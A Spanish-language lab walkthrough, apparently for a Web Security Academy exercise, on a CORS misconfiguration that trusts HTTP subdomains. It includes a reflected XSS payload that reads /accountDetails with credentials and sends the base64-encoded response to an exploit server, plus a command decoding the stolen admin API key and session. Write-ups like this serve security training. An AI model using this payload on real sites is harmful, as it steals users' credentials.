> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS con protocolos inseguros confiados

### Vulnerabilidad de CORS con protocolos inseguros de confianza

El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso al usar **HTTP**. El objetivo es obtener la clave API del administrador a través de CORS y extraerla al servidor operativo.

Credenciales proporcionadas: `wiener:peter`.El sitio tiene una configuración de CORS vulnerable: confía en todos **subdominios**, incluso al usar **HTTP**. El objetivo es obtener la clave API del administrador a través de CORS y extraerla al servidor operativo.

Credenciales proporcionadas: `wiener:peter`.

#### Observaciones

* El dominio raíz es aceptado en **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/58cadce1c1853d41862c9321bc4fbc79812b52b0" alt=""><figcaption></figcaption></figure>

**Subdominios** en HTTP también son aceptados:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/da4843724a253ce99eef63b3d9f79eeea99af6b9" alt=""><figcaption></figcaption></figure>

Subdominio identificado mediante stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/a1aeeb33235ebae0dd5f04d44269e6bef4c75bf1" alt=""><figcaption></figcaption></figure>

Este artículo refleja `productId` → \*\* Inyección HTML/JS\*\* posible:

```html
?productId=test&storeId=1
```

<figure><img src="/files/ec0f52622ea424c41149ce7183ce2b859941b3d0" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/652993ce981d09bdea3b3e69db5a6c6a3b87a560" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ae1f35e0a0f99acdbbfac7826d55db47d9fe2d8c" alt=""><figcaption></figcaption></figure>

#### Explotación: lectura de `/accountDetails` y exfiltración

Script XHR usado (enviado mediante subdominio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Inyecta el script en el `productId` parámetro del subdominio vulnerable:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirige a la URL para explotar con la `apiKey` variable que contiene la respuesta codificada.

<figure><img src="/files/6598ff1645838951650f0f4dcc7dd9cb1fbff707" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada a la víctima (versión codificada en URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recepción de la clave API en el servidor para explotar mediante el `apiKey` parámetro.

<figure><img src="/files/ca55da2fd1be2a29142a723ba352173b9e501b3b" alt=""><figcaption></figcaption></figure>

* Decodificación realizada con:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/50dcf5f723fb0a7581bc9b73cd45fee747aa70eb" alt=""><figcaption></figcaption></figure>


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